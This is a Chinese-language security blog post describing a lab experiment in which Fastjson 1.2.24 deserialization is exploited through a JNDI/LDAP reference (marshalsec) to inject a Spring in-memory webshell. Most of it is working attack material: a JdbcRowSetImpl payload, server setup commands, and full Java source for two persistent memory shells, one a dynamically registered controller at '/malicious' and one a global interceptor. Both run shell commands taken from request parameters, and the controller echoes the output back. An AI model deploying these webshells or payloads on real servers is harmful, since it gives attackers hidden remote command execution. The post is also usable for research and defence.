利用Fastjson注入Spring内存马

Delina · 发表于 2021-11-10 17:16:53

原文链接：利用Fastjson注入Spring内存马

利用Fastjson注入Spring内存马此篇文章在于记录自己对spring内存马的实验研究
一、环境搭建搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马。
1）组件版本：
fastjson: 1.2.24
spring-mvc: 4.3.28.RELEASE
JDK: 8u121
2）搭建springMVC+fastjson漏洞环境
可以参考网上的入门文章进行搭建，这里我放出我自己环境的配置文件
web.xml

<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

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springmvc.xml

<context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/"></property>
<property name="suffix" value=".jsp"></property>
</bean>
</beans>

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HelloController

@Controller
public class HelloController {
@ResponseBody
@RequestMapping(value = "/hello", method = RequestMethod.POST)
public Object hello(@RequestParam("code")String code) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.out.println(code);
Object object = JSON.parse(code);
return code + "->JSON.parseObject()->" + object;
}
}

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pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.28.RELEASE</version>
</dependency>

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二、动态注册controller在springMVC中，也可以在服务器程序启动后，利用某种方式实现动态加载controller。
1）获取上下文在LandGrey文章中介绍了四种方法，分别是
方式一：getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二：WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三：RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四：getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说，推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例
2）注册controller使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

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除了使用registerMapping方法注册controller外，还有其余的方式可以参考https://landgrey.me/blog/12/
三、内存马以下是大佬的内存马，接下来进行一个改动，使之能进行回显

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}

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修改回显把test代码中的内容替换为以下

// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时，返回 404 错误
response.sendError(404);
}
}catch (Exception e){}

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最终内存马

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时，返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}

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四、测试fastjson<=1.2.24的 payload：
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1）启动本地http服务，绑定端口8888
python3 -m http.server 8888

2）利用marshalsec启动LDAP服务，绑定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3）访问存在fastjson反序列化的页面，http://localhost:8080/hello
发送payload：
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}成功写入内存马

踩坑在实验过程中，我发现主要有两个比较难解决的点，导致实验难以继续
1.怎么编译恶意class文件
可以看到，一个恶意类是有大量的依赖，如果直接采用javac编译会报错

-》javac InjectToController.java
InjectToController.java:16: 错误: 编码GBK的不可映射字符
// 绗竴涓瀯閫犲嚱鏁?
^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
^

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^

这时候可以利用idea自带的编译特性，先运行项目，然后在其项目的target目录中寻找编译后的class文件即可

2.可以弹出计算器，却无法注入内存马
直接进行debug后发现，在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

原因在于springmvc.xml文件中，没有开启<mvc:annotation-driven/>选项。
<mvc:annotation-driven/> 是为 MVC 提供额外的支持，参考 Spring 的官方文档，<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping（实现为 DefaultAnnotationHandlerMapping）和 HandlerAdapter（实现为 AnnotationMethodHandlerAdapter）两个类型的 Bean，这两个 Bean 为 @Controllers（所有控制器）提供转发请求的功能。
而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。
五、后记Interceptor内存马

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}

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注册效果：

六、参考https://landgrey.me/blog/12/
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html

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